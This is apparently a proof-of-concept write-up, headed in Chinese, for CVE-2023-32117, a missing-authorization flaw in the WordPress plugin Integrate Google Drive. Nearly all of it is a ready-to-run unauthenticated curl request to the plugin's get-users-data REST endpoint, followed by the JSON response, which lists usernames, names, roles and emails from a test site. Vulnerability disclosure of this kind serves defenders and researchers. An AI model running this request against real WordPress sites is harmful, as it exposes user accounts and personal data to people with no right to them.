# CVE-2023-32117 Integrate Google Drive <= 1.1.99 - 通过REST API端点缺少授权 ## POC 获取用户列表和电子邮件地址。 `curl -i -s -k -X $'POST' \ -H $'Host: wordpress.lan' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 0' \ $'http://wordpress.lan/wp-json/igd/v1/get-users-data'` # 响应 `{"success":true,"data":{"roles":{"administrator":1,"subscriber":4,"wdk_agent":3,"none":0},"total":9,"users":[{"id":1,"avatar":"

","username":"admin","name":"admin","email":"some-email@example.com","role":"Administrator","folders":[]},{"id":2,"avatar":"

","username":"user","name":"user name","email":"some-email@example.com","role":"Subscriber","folders":[]},{"id":3,"avatar":"

","username":"Debra_Moran","name":"Debra Moran","email":"some-email@example.com","role":"Agent","folders":[]},{"id":4,"avatar":"

","username":"Garry_Novan","name":"Garry Novan","email":"some-email@example.com","role":"Agent","folders":[]},{"id":5,"avatar":"

","username":"Kety_Spear","name":"Kety Spear","email":"some-email@example.com","role":"Agent","folders":[]},{"id":6,"avatar":"

","username":"robbie","name":"robbie","email":"some-email@example.com","role":"Subscriber","folders":[]},{"id":7,"avatar":"

","username":"tagent","name":"tagent","email":"some-email@example.com","role":"Subscriber","folders":[]},{"id":8,"avatar":"

","username":"agent","name":"agent","email":"some-email@example.com","role":"Subscriber","folders":[]},{"id":9,"avatar":"

","username":"test","name":"test","email":"some-email@example.com","role":"None","folders":[]}]}}`

Query Builder